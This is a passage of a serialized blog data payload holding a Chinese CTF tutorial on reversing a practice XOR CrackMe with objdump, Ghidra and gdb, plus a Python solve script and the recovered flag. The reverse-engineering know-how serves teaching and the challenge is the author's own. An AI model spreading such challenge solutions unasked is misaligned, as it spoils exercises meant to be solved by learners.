'\u003Cmain>'\n",[18,8182,8183],{"__ignoreMap":46},[50,8184,8185,8187,8189,8191,8193,8195,8197,8199,8201,8203,8205,8207],{"class":52,"line":53},[50,8186,1604],{"class":56},[50,8188,1607],{"class":250},[50,8190,1610],{"class":250},[50,8192,1613],{"class":60},[50,8194,8020],{"class":60},[50,8196,645],{"class":644},[50,8198,648],{"class":56},[50,8200,1643],{"class":250},[50,8202,1646],{"class":250},[50,8204,1649],{"class":651},[50,8206,1652],{"class":60},[50,8208,1655],{"class":651},[15,8210,1658],{},[41,8212,8214],{"className":1661,"code":8213,"language":1663,"meta":46,"style":46},"0000000000001189 \u003Cmain>:\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n",[18,8215,8216,8220,8224,8228,8232,8236],{"__ignoreMap":46},[50,8217,8218],{"class":52,"line":53},[50,8219,1670],{},[50,8221,8222],{"class":52,"line":70},[50,8223,1685],{},[50,8225,8226],{"class":52,"line":84},[50,8227,1690],{},[50,8229,8230],{"class":52,"line":145},[50,8231,1695],{},[50,8233,8234],{"class":52,"line":151},[50,8235,1700],{},[50,8237,8238],{"class":52,"line":157},[50,8239,1705],{},[15,8241,8242,8244,8245,697],{},[18,8243,1748],{}," 说明判断逻辑在 ",[18,8246,1777],{},[713,8248,8250],{"id":8249},"_42-objdump-看-check","4.2 objdump 看 check",[41,8252,8254],{"className":43,"code":8253,"language":45,"meta":46,"style":46},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[18,8255,8256],{"__ignoreMap":46},[50,8257,8258,8260,8262,8264,8266,8268,8270,8272,8274,8277,8279,8281],{"class":52,"line":53},[50,8259,1604],{"class":56},[50,8261,1607],{"class":250},[50,8263,1610],{"class":250},[50,8265,1613],{"class":60},[50,8267,8020],{"class":60},[50,8269,645],{"class":644},[50,8271,648],{"class":56},[50,8273,1643],{"class":250},[50,8275,8276],{"class":250}," 60",[50,8278,1649],{"class":651},[50,8280,1833],{"class":60},[50,8282,1655],{"class":651},[15,8284,8285],{},"预期会看到循环比较：",[41,8287,8289],{"className":1661,"code":8288,"language":1663,"meta":46,"style":46},"movzx  eax, BYTE PTR [rax]        ; input[i]\nxor    eax, 0x...                 ; 与 key 异或\ncmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\nje     0x...\n",[18,8290,8291,8296,8301,8306],{"__ignoreMap":46},[50,8292,8293],{"class":52,"line":53},[50,8294,8295],{},"movzx  eax, BYTE PTR [rax]        ; input[i]\n",[50,8297,8298],{"class":52,"line":70},[50,8299,8300],{},"xor    eax, 0x...                 ; 与 key 异或\n",[50,8302,8303],{"class":52,"line":84},[50,8304,8305],{},"cmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\n",[50,8307,8308],{"class":52,"line":145},[50,8309,8310],{},"je     0x...\n",[713,8312,8314],{"id":8313},"_43-ghidra-反编译","4.3 Ghidra 反编译",[15,8316,8317],{},"安装并打开：",[41,8319,8321],{"className":43,"code":8320,"language":45,"meta":46,"style":46},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && ./ghidraRun\n",[18,8322,8323,8333,8343],{"__ignoreMap":46},[50,8324,8325,8327,8329,8331],{"class":52,"line":53},[50,8326,57],{"class":56},[50,8328,61],{"class":60},[50,8330,1957],{"class":60},[50,8332,1960],{"class":60},[50,8334,8335,8337,8339,8341],{"class":52,"line":70},[50,8336,1965],{"class":56},[50,8338,1968],{"class":60},[50,8340,1972],{"class":1971},[50,8342,1975],{"class":60},[50,8344,8345,8347,8349,8351,8354,8356,8358,8360,8362,8364,8366],{"class":52,"line":84},[50,8346,1980],{"class":56},[50,8348,1983],{"class":60},[50,8350,1972],{"class":1971},[50,8352,8353],{"class":60},".zip",[50,8355,97],{"class":96},[50,8357,101],{"class":100},[50,8359,1983],{"class":60},[50,8361,1972],{"class":1971},[50,8363,1998],{"class":60},[50,8365,97],{"class":96},[50,8367,2003],{"class":56},[15,8369,8370,8371,697],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[18,8372,1777],{},[15,8374,2030],{},[41,8376,8377],{"className":122,"code":2422,"language":124,"meta":46,"style":46},[18,8378,8379],{"__ignoreMap":46},[50,8380,8381],{"class":52,"line":53},[50,8382,2422],{},[15,8384,8385],{},"得到逆运算关系：",[41,8387,8390],{"className":8388,"code":8389,"language":305,"meta":46},[303],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[18,8391,8389],{"__ignoreMap":46},[10,8393,2062],{"id":2061},[41,8395,8397],{"className":43,"code":8396,"language":45,"meta":46,"style":46},"gdb ./crackme\n",[18,8398,8399],{"__ignoreMap":46},[50,8400,8401,8403],{"class":52,"line":53},[50,8402,2089],{"class":56},[50,8404,8405],{"class":60}," ./crackme\n",[41,8407,8409],{"className":2101,"code":8408,"language":2089,"meta":46,"style":46},"(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[18,8410,8411,8415],{"__ignoreMap":46},[50,8412,8413],{"class":52,"line":53},[50,8414,2102],{},[50,8416,8417],{"class":52,"line":70},[50,8418,8419],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[15,8421,299],{},[41,8423,8425],{"className":8424,"code":2114,"language":305,"meta":46},[303],[18,8426,2114],{"__ignoreMap":46},[41,8428,8430],{"className":2101,"code":8429,"language":2089,"meta":46,"style":46},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[18,8431,8432],{"__ignoreMap":46},[50,8433,8434],{"class":52,"line":53},[50,8435,8429],{},[15,8437,299],{},[41,8439,8441],{"className":8440,"code":2135,"language":305,"meta":46},[303],[18,8442,2135],{"__ignoreMap":46},[15,8444,8445],{},"查看 enc 数组（地址在反汇编中确定）：",[41,8447,8449],{"className":2101,"code":8448,"language":2089,"meta":46,"style":46},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[18,8450,8451,8456],{"__ignoreMap":46},[50,8452,8453],{"class":52,"line":53},[50,8454,8455],{},"(gdb) x/24bx 0x5555555551e0\n",[50,8457,8458],{"class":52,"line":70},[50,8459,8460],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[15,8462,299],{},[41,8464,8467],{"className":8465,"code":8466,"language":305,"meta":46},[303],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[18,8468,8466],{"__ignoreMap":46},[15,8470,8471],{},"与源码中的 enc 数组一致，确认比较逻辑。",[10,8473,8475],{"id":8474},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[15,8477,8478,8480],{},[271,8479,273],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[15,8482,8483,8485,8486,8489,8490,8493,8494,8497],{},[271,8484,279],{},"：因为 ",[18,8487,8488],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[18,8491,8492],{},"key[i%3]"," 得 ",[18,8495,8496],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[41,8499,8501],{"className":411,"code":8500,"language":413,"meta":46,"style":46},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"   # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[18,8502,8503,8507,8511,8515,8520,8524,8529,8534,8539,8544,8549,8553],{"__ignoreMap":46},[50,8504,8505],{"class":52,"line":53},[50,8506,2456],{},[50,8508,8509],{"class":52,"line":70},[50,8510,2461],{},[50,8512,8513],{"class":52,"line":84},[50,8514,2466],{},[50,8516,8517],{"class":52,"line":145},[50,8518,8519],{},"key = b\"k3y\"   # 从 strings -n 3 找到的密钥\n",[50,8521,8522],{"class":52,"line":151},[50,8523,142],{"emptyLinePlaceholder":141},[50,8525,8526],{"class":52,"line":157},[50,8527,8528],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[50,8530,8531],{"class":52,"line":163},[50,8532,8533],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[50,8535,8536],{"class":52,"line":168},[50,8537,8538],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[50,8540,8541],{"class":52,"line":174},[50,8542,8543],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[50,8545,8546],{"class":52,"line":180},[50,8547,8548],{},"# bytes([...])：把整数列表转成字节串。\n",[50,8550,8551],{"class":52,"line":186},[50,8552,2506],{},[50,8554,8555],{"class":52,"line":191},[50,8556,8557],{},"# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[15,8559,569],{},[41,8561,8563],{"className":43,"code":8562,"language":45,"meta":46,"style":46},"python3 solve.py\n",[18,8564,8565],{"__ignoreMap":46},[50,8566,8567,8569],{"class":52,"line":53},[50,8568,579],{"class":56},[50,8570,8571],{"class":60}," solve.py\n",[15,8573,3555],{},[41,8575,8577],{"className":8576,"code":2517,"language":305,"meta":46},[303],[18,8578,2517],{"__ignoreMap":46},[15,8580,8581],{},"验证：",[41,8583,8584],{"className":43,"code":2526,"language":45,"meta":46,"style":46},[18,8585,8586],{"__ignoreMap":46},[50,8587,8588,8590],{"class":52,"line":53},[50,8589,2533],{"class":56},[50,8591,2536],{"class":60},[15,8593,3555,8594,697],{},[18,8595,1507],{},[10,8597,8599],{"id":8598},"七必学工具","七、必学工具",[312,8601,8602,8612],{},[315,8603,8604],{},[318,8605,8606,8608,8610],{},[321,8607,1096],{},[321,8609,2263],{},[321,8611,5168],{},[328,8613,8614,8626,8638,8653,8670],{},[318,8615,8616,8618,8621],{},[333,8617,1408],{},[333,8619,8620],{},"看类型/是否 stripped",[333,8622,8623],{},[18,8624,8625],{},"file crackme",[318,8627,8628,8630,8633],{},[333,8629,1451],{},[333,8631,8632],{},"提取字符串、指定最小长度",[333,8634,8635],{},[18,8636,8637],{},"strings -n 3 crackme",[318,8639,8640,8642,8645],{},[333,8641,1604],{},[333,8643,8644],{},"反汇编、看数据段",[333,8646,8647,21,8650],{},[18,8648,8649],{},"objdump -d -M intel crackme",[18,8651,8652],{},"objdump -s -j .rodata crackme",[318,8654,8655,8657,8660],{},[333,8656,2318],{},[333,8658,8659],{},"断点、运行、查看内存",[333,8661,8662,21,8664,21,8667],{},[18,8663,2326],{},[18,8665,8666],{},"run xxx",[18,8668,8669],{},"x/24bx addr",[318,8671,8672,8675,8678],{},[333,8673,8674],{},"Ghidra",[333,8676,8677],{},"反编译伪代码",[333,8679,8680],{},[18,8681,8682],{},"ghidraRun",[10,8684,8686],{"id":8685},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[1036,8688,8689,8696,8707,8713],{},[1039,8690,8691,8693,8694,697],{},[18,8692,8637],{}," → 找到密钥 ",[18,8695,1514],{},[1039,8697,8698,8700,8701,8703,8704,697],{},[18,8699,1604],{},"/Ghidra → 确认 ",[18,8702,1777],{}," 里是 ",[18,8705,8706],{},"input[i] ^ key[i%3] == enc[i]",[1039,8708,8709,8710,697],{},"Python 一行异或还原 → ",[18,8711,8712],{},"ctf{reverse_engineering}",[1039,8714,8715,8716,697],{},"运行验证 → ",[18,8717,1507],{},[10,8719,6706],{"id":6705},[15,8721,8722,8723,8726],{},"XOR CrackMe 的通用解法：",[271,8724,8725],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[1244,8728,8729],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":46,"searchDepth":70,"depth":70,"links":8731},[8732,8733,8734,8735,8736,8737,8738,8739,8740],{"id":7805,"depth":84,"text":7806},{"id":7812,"depth":84,"text":7813},{"id":1380,"depth":84,"text":1381},{"id":8154,"depth":84,"text":8155},{"id":2061,"depth":84,"text":2062},{"id":8474,"depth":84,"text":8475},{"id":8598,"depth":84,"text":8599},{"id":8685,"depth":84,"text":8686},{"id":6705,"depth":84,"text":6706},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。",{"date":1263,"image":8743,"alt":8744,"tags":8745,"published":141},"/blogs-img/blog7.png","XOR CrackMe 完整实操",[1267,2574,2350,1269],"/blogs/ctf-reverse-crackme-deep-dive",{"title":7800,"description":8741},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",{"id":4,"title":5,"body":8751,"description":1260,"extension":1261,"meta":9649,"navigation":141,"ogImage":1264,"path":1270,"seo":9651,"stem":1272,"__hash__":1273},{"type":7,"value":8752,"toc":9636},[8753,8755,8765,8767,8769,8811,8813,8817,8897,8899,8917,8919,8923,8927,8939,8941,8946,8948,8994,8996,9000,9005,9007,9009,9017,9065,9067,9072,9080,9082,9086,9142,9144,9154,9156,9161,9175,9177,9181,9183,9205,9207,9212,9220,9225,9227,9233,9237,9243,9245,9250,9252,9472,9474,9479,9481,9511,9513,9569,9571,9579,9619,9621,9626,9628,9634],[10,8754,13],{"id":12},[15,8756,8757,21,8759,21,8761,28,8763,32],{},[18,8758,20],{},[18,8760,24],{},[18,8762,27],{},[18,8764,31],{},[15,8766,35],{},[10,8768,39],{"id":38},[41,8770,8771],{"className":43,"code":44,"language":45,"meta":46,"style":46},[18,8772,8773,8783,8793],{"__ignoreMap":46},[50,8774,8775,8777,8779,8781],{"class":52,"line":53},[50,8776,57],{"class":56},[50,8778,61],{"class":60},[50,8780,64],{"class":60},[50,8782,67],{"class":60},[50,8784,8785,8787,8789,8791],{"class":52,"line":70},[50,8786,73],{"class":56},[50,8788,61],{"class":60},[50,8790,78],{"class":60},[50,8792,81],{"class":60},[50,8794,8795,8797,8799,8801,8803,8805,8807,8809],{"class":52,"line":84},[50,8796,87],{"class":56},[50,8798,90],{"class":60},[50,8800,93],{"class":60},[50,8802,97],{"class":96},[50,8804,101],{"class":100},[50,8806,104],{"class":60},[50,8808,97],{"class":96},[50,8810,109],{"class":56},[10,8812,113],{"id":112},[15,8814,8815,119],{},[18,8816,118],{},[41,8818,8819],{"className":122,"code":123,"language":124,"meta":46,"style":46},[18,8820,8821,8825,8829,8833,8837,8841,8845,8849,8853,8857,8861,8865,8869,8873,8877,8881,8885,8889,8893],{"__ignoreMap":46},[50,8822,8823],{"class":52,"line":53},[50,8824,131],{},[50,8826,8827],{"class":52,"line":70},[50,8828,136],{},[50,8830,8831],{"class":52,"line":84},[50,8832,142],{"emptyLinePlaceholder":141},[50,8834,8835],{"class":52,"line":145},[50,8836,148],{},[50,8838,8839],{"class":52,"line":151},[50,8840,154],{},[50,8842,8843],{"class":52,"line":157},[50,8844,160],{},[50,8846,8847],{"class":52,"line":163},[50,8848,142],{"emptyLinePlaceholder":141},[50,8850,8851],{"class":52,"line":168},[50,8852,171],{},[50,8854,8855],{"class":52,"line":174},[50,8856,177],{},[50,8858,8859],{"class":52,"line":180},[50,8860,183],{},[50,8862,8863],{"class":52,"line":186},[50,8864,160],{},[50,8866,8867],{"class":52,"line":191},[50,8868,142],{"emptyLinePlaceholder":141},[50,8870,8871],{"class":52,"line":196},[50,8872,199],{},[50,8874,8875],{"class":52,"line":202},[50,8876,205],{},[50,8878,8879],{"class":52,"line":208},[50,8880,211],{},[50,8882,8883],{"class":52,"line":214},[50,8884,217],{},[50,8886,8887],{"class":52,"line":220},[50,8888,223],{},[50,8890,8891],{"class":52,"line":226},[50,8892,229],{},[50,8894,8895],{"class":52,"line":232},[50,8896,160],{},[15,8898,237],{},[41,8900,8901],{"className":43,"code":240,"language":45,"meta":46,"style":46},[18,8902,8903],{"__ignoreMap":46},[50,8904,8905,8907,8909,8911,8913,8915],{"class":52,"line":53},[50,8906,247],{"class":56},[50,8908,251],{"class":250},[50,8910,254],{"class":60},[50,8912,257],{"class":60},[50,8914,260],{"class":250},[50,8916,263],{"class":250},[10,8918,267],{"id":266},[15,8920,8921,274],{},[271,8922,273],{},[15,8924,8925,280],{},[271,8926,279],{},[41,8928,8929],{"className":43,"code":283,"language":45,"meta":46,"style":46},[18,8930,8931],{"__ignoreMap":46},[50,8932,8933,8935,8937],{"class":52,"line":53},[50,8934,290],{"class":56},[50,8936,293],{"class":60},[50,8938,296],{"class":60},[15,8940,299],{},[41,8942,8944],{"className":8943,"code":304,"language":305,"meta":46},[303],[18,8945,304],{"__ignoreMap":46},[15,8947,310],{},[312,8949,8950,8958],{},[315,8951,8952],{},[318,8953,8954,8956],{},[321,8955,323],{},[321,8957,326],{},[328,8959,8960,8968,8976,8986],{},[318,8961,8962,8966],{},[333,8963,8964],{},[18,8965,337],{},[333,8967,340],{},[318,8969,8970,8974],{},[333,8971,8972],{},[18,8973,347],{},[333,8975,350],{},[318,8977,8978,8982],{},[333,8979,8980],{},[18,8981,357],{},[333,8983,360,8984,364],{},[18,8985,363],{},[318,8987,8988,8992],{},[333,8989,8990],{},[18,8991,371],{},[333,8993,374],{},[10,8995,378],{"id":377},[15,8997,8998,384],{},[18,8999,383],{},[41,9001,9003],{"className":9002,"code":388,"language":305,"meta":46},[303],[18,9004,388],{"__ignoreMap":46},[15,9006,393],{},[15,9008,396],{},[15,9010,9011,119,9013,404,9015,408],{},[271,9012,279],{},[18,9014,403],{},[18,9016,407],{},[41,9018,9019],{"className":411,"code":412,"language":413,"meta":46,"style":46},[18,9020,9021,9025,9029,9033,9037,9041,9045,9049,9053,9057,9061],{"__ignoreMap":46},[50,9022,9023],{"class":52,"line":53},[50,9024,420],{},[50,9026,9027],{"class":52,"line":70},[50,9028,142],{"emptyLinePlaceholder":141},[50,9030,9031],{"class":52,"line":84},[50,9032,429],{},[50,9034,9035],{"class":52,"line":145},[50,9036,434],{},[50,9038,9039],{"class":52,"line":151},[50,9040,439],{},[50,9042,9043],{"class":52,"line":157},[50,9044,444],{},[50,9046,9047],{"class":52,"line":163},[50,9048,449],{},[50,9050,9051],{"class":52,"line":168},[50,9052,454],{},[50,9054,9055],{"class":52,"line":174},[50,9056,459],{},[50,9058,9059],{"class":52,"line":180},[50,9060,464],{},[50,9062,9063],{"class":52,"line":186},[50,9064,469],{},[15,9066,299],{},[41,9068,9070],{"className":9069,"code":475,"language":305,"meta":46},[303],[18,9071,475],{"__ignoreMap":46},[15,9073,480,9074,484,9076,488,9078,491],{},[18,9075,483],{},[18,9077,487],{},[18,9079,407],{},[10,9081,495],{"id":494},[15,9083,9084,500],{},[271,9085,273],{},[41,9087,9088],{"className":411,"code":503,"language":413,"meta":46,"style":46},[18,9089,9090,9094,9098,9102,9106,9110,9114,9118,9122,9126,9130,9134,9138],{"__ignoreMap":46},[50,9091,9092],{"class":52,"line":53},[50,9093,420],{},[50,9095,9096],{"class":52,"line":70},[50,9097,142],{"emptyLinePlaceholder":141},[50,9099,9100],{"class":52,"line":84},[50,9101,518],{},[50,9103,9104],{"class":52,"line":145},[50,9105,429],{},[50,9107,9108],{"class":52,"line":151},[50,9109,142],{"emptyLinePlaceholder":141},[50,9111,9112],{"class":52,"line":157},[50,9113,531],{},[50,9115,9116],{"class":52,"line":163},[50,9117,536],{},[50,9119,9120],{"class":52,"line":168},[50,9121,541],{},[50,9123,9124],{"class":52,"line":174},[50,9125,546],{},[50,9127,9128],{"class":52,"line":180},[50,9129,551],{},[50,9131,9132],{"class":52,"line":186},[50,9133,556],{},[50,9135,9136],{"class":52,"line":191},[50,9137,561],{},[50,9139,9140],{"class":52,"line":196},[50,9141,566],{},[15,9143,569],{},[41,9145,9146],{"className":43,"code":572,"language":45,"meta":46,"style":46},[18,9147,9148],{"__ignoreMap":46},[50,9149,9150,9152],{"class":52,"line":53},[50,9151,579],{"class":56},[50,9153,582],{"class":60},[15,9155,585],{},[41,9157,9159],{"className":9158,"code":589,"language":305,"meta":46},[303],[18,9160,589],{"__ignoreMap":46},[15,9162,594,9163,597,9165,600,9167,603,9169,606,9171,600,9173,612],{},[18,9164,20],{},[18,9166,363],{},[18,9168,383],{},[18,9170,31],{},[18,9172,363],{},[18,9174,611],{},[10,9176,616],{"id":615},[15,9178,619,9179,622],{},[18,9180,31],{},[15,9182,625],{},[41,9184,9185],{"className":43,"code":628,"language":45,"meta":46,"style":46},[18,9186,9187],{"__ignoreMap":46},[50,9188,9189,9191,9193,9195,9197,9199,9201,9203],{"class":52,"line":53},[50,9190,635],{"class":56},[50,9192,638],{"class":250},[50,9194,641],{"class":60},[50,9196,645],{"class":644},[50,9198,648],{"class":56},[50,9200,652],{"class":651},[50,9202,655],{"class":60},[50,9204,658],{"class":651},[15,9206,299],{},[41,9208,9210],{"className":9209,"code":664,"language":305,"meta":46},[303],[18,9211,664],{"__ignoreMap":46},[15,9213,9214,672,9216,676,9218,679],{},[18,9215,671],{},[18,9217,675],{},[18,9219,31],{},[41,9221,9223],{"className":9222,"code":683,"language":305,"meta":46},[303],[18,9224,683],{"__ignoreMap":46},[10,9226,689],{"id":688},[15,9228,9229,694,9231,697],{},[271,9230,273],{},[18,9232,611],{},[15,9234,9235,702],{},[271,9236,279],{},[15,9238,705,9239,708,9241,711],{},[18,9240,363],{},[18,9242,611],{},[713,9244,716],{"id":715},[41,9246,9248],{"className":9247,"code":720,"language":305,"meta":46},[303],[18,9249,720],{"__ignoreMap":46},[713,9251,726],{"id":725},[41,9253,9254],{"className":411,"code":729,"language":413,"meta":46,"style":46},[18,9255,9256,9260,9264,9268,9272,9276,9280,9284,9288,9292,9296,9300,9304,9308,9312,9316,9320,9324,9328,9332,9336,9340,9344,9348,9352,9356,9360,9364,9368,9372,9376,9380,9384,9388,9392,9396,9400,9404,9408,9412,9416,9420,9424,9428,9432,9436,9440,9444,9448,9452,9456,9460,9464,9468],{"__ignoreMap":46},[50,9257,9258],{"class":52,"line":53},[50,9259,420],{},[50,9261,9262],{"class":52,"line":70},[50,9263,142],{"emptyLinePlaceholder":141},[50,9265,9266],{"class":52,"line":84},[50,9267,744],{},[50,9269,9270],{"class":52,"line":145},[50,9271,749],{},[50,9273,9274],{"class":52,"line":151},[50,9275,142],{"emptyLinePlaceholder":141},[50,9277,9278],{"class":52,"line":157},[50,9279,518],{},[50,9281,9282],{"class":52,"line":163},[50,9283,762],{},[50,9285,9286],{"class":52,"line":168},[50,9287,767],{},[50,9289,9290],{"class":52,"line":174},[50,9291,429],{},[50,9293,9294],{"class":52,"line":180},[50,9295,142],{"emptyLinePlaceholder":141},[50,9297,9298],{"class":52,"line":186},[50,9299,475],{},[50,9301,9302],{"class":52,"line":191},[50,9303,784],{},[50,9305,9306],{"class":52,"line":196},[50,9307,789],{},[50,9309,9310],{"class":52,"line":202},[50,9311,142],{"emptyLinePlaceholder":141},[50,9313,9314],{"class":52,"line":208},[50,9315,798],{},[50,9317,9318],{"class":52,"line":214},[50,9319,803],{},[50,9321,9322],{"class":52,"line":220},[50,9323,808],{},[50,9325,9326],{"class":52,"line":226},[50,9327,813],{},[50,9329,9330],{"class":52,"line":232},[50,9331,818],{},[50,9333,9334],{"class":52,"line":821},[50,9335,824],{},[50,9337,9338],{"class":52,"line":827},[50,9339,830],{},[50,9341,9342],{"class":52,"line":833},[50,9343,836],{},[50,9345,9346],{"class":52,"line":839},[50,9347,842],{},[50,9349,9350],{"class":52,"line":845},[50,9351,848],{},[50,9353,9354],{"class":52,"line":851},[50,9355,854],{},[50,9357,9358],{"class":52,"line":857},[50,9359,142],{"emptyLinePlaceholder":141},[50,9361,9362],{"class":52,"line":862},[50,9363,531],{},[50,9365,9366],{"class":52,"line":867},[50,9367,870],{},[50,9369,9370],{"class":52,"line":873},[50,9371,142],{"emptyLinePlaceholder":141},[50,9373,9374],{"class":52,"line":878},[50,9375,881],{},[50,9377,9378],{"class":52,"line":884},[50,9379,887],{},[50,9381,9382],{"class":52,"line":890},[50,9383,893],{},[50,9385,9386],{"class":52,"line":896},[50,9387,899],{},[50,9389,9390],{"class":52,"line":902},[50,9391,905],{},[50,9393,9394],{"class":52,"line":908},[50,9395,142],{"emptyLinePlaceholder":141},[50,9397,9398],{"class":52,"line":913},[50,9399,916],{},[50,9401,9402],{"class":52,"line":919},[50,9403,922],{},[50,9405,9406],{"class":52,"line":925},[50,9407,928],{},[50,9409,9410],{"class":52,"line":931},[50,9411,934],{},[50,9413,9414],{"class":52,"line":937},[50,9415,940],{},[50,9417,9418],{"class":52,"line":943},[50,9419,142],{"emptyLinePlaceholder":141},[50,9421,9422],{"class":52,"line":948},[50,9423,951],{},[50,9425,9426],{"class":52,"line":954},[50,9427,957],{},[50,9429,9430],{"class":52,"line":960},[50,9431,963],{},[50,9433,9434],{"class":52,"line":966},[50,9435,969],{},[50,9437,9438],{"class":52,"line":972},[50,9439,975],{},[50,9441,9442],{"class":52,"line":978},[50,9443,981],{},[50,9445,9446],{"class":52,"line":984},[50,9447,987],{},[50,9449,9450],{"class":52,"line":990},[50,9451,993],{},[50,9453,9454],{"class":52,"line":996},[50,9455,999],{},[50,9457,9458],{"class":52,"line":1002},[50,9459,142],{"emptyLinePlaceholder":141},[50,9461,9462],{"class":52,"line":1007},[50,9463,1010],{},[50,9465,9466],{"class":52,"line":1013},[50,9467,1016],{},[50,9469,9470],{"class":52,"line":1019},[50,9471,561],{},[15,9473,1024],{},[41,9475,9477],{"className":9476,"code":1028,"language":305,"meta":46},[303],[18,9478,1028],{"__ignoreMap":46},[713,9480,1034],{"id":1033},[1036,9482,9483,9495,9505],{},[1039,9484,9485,119,9487,1047,9489,1051,9491,1055,9493,697],{},[271,9486,1043],{},[18,9488,1046],{},[18,9490,1050],{},[18,9492,1054],{},[18,9494,1058],{},[1039,9496,9497,119,9499,1067,9501,1071,9503,697],{},[271,9498,1063],{},[18,9500,1066],{},[18,9502,1070],{},[18,9504,31],{},[1039,9506,9507,1079,9509,1083],{},[271,9508,1078],{},[18,9510,1082],{},[10,9512,1087],{"id":1086},[312,9514,9515,9525],{},[315,9516,9517],{},[318,9518,9519,9521,9523],{},[321,9520,1096],{},[321,9522,1099],{},[321,9524,1102],{},[328,9526,9527,9545,9555],{},[318,9528,9529,9531,9543],{},[333,9530,1109],{},[333,9532,9533,21,9535,1117,9537,21,9539,1123,9541],{},[18,9534,1114],{},[18,9536,403],{},[18,9538,407],{},[18,9540,1122],{},[18,9542,1126],{},[333,9544,1129],{},[318,9546,9547,9549,9551],{},[333,9548,635],{},[333,9550,1136],{},[333,9552,9553],{},[18,9554,1141],{},[318,9556,9557,9559,9561],{},[333,9558,1146],{},[333,9560,1149],{},[333,9562,9563,21,9565,21,9567],{},[18,9564,1154],{},[18,9566,1157],{},[18,9568,1160],{},[10,9570,1164],{"id":1163},[15,9572,1167,9573,1171,9575,1174,9577,1177],{},[18,9574,1170],{},[18,9576,383],{},[18,9578,363],{},[41,9580,9581],{"className":411,"code":1180,"language":413,"meta":46,"style":46},[18,9582,9583,9587,9591,9595,9599,9603,9607,9611,9615],{"__ignoreMap":46},[50,9584,9585],{"class":52,"line":53},[50,9586,420],{},[50,9588,9589],{"class":52,"line":70},[50,9590,142],{"emptyLinePlaceholder":141},[50,9592,9593],{"class":52,"line":84},[50,9594,518],{},[50,9596,9597],{"class":52,"line":145},[50,9598,1199],{},[50,9600,9601],{"class":52,"line":151},[50,9602,142],{"emptyLinePlaceholder":141},[50,9604,9605],{"class":52,"line":157},[50,9606,541],{},[50,9608,9609],{"class":52,"line":163},[50,9610,556],{},[50,9612,9613],{"class":52,"line":168},[50,9614,1216],{},[50,9616,9617],{"class":52,"line":174},[50,9618,561],{},[15,9620,299],{},[41,9622,9624],{"className":9623,"code":1226,"language":305,"meta":46},[303],[18,9625,1226],{"__ignoreMap":46},[10,9627,1232],{"id":1231},[15,9629,1235,9630,1239,9632,1242],{},[18,9631,1238],{},[18,9633,403],{},[1244,9635,1246],{},{"title":46,"searchDepth":70,"depth":70,"links":9637},[9638,9639,9640,9641,9642,9643,9644,9645,9646,9647,9648],{"id":12,"depth":84,"text":13},{"id":38,"depth":84,"text":39},{"id":112,"depth":84,"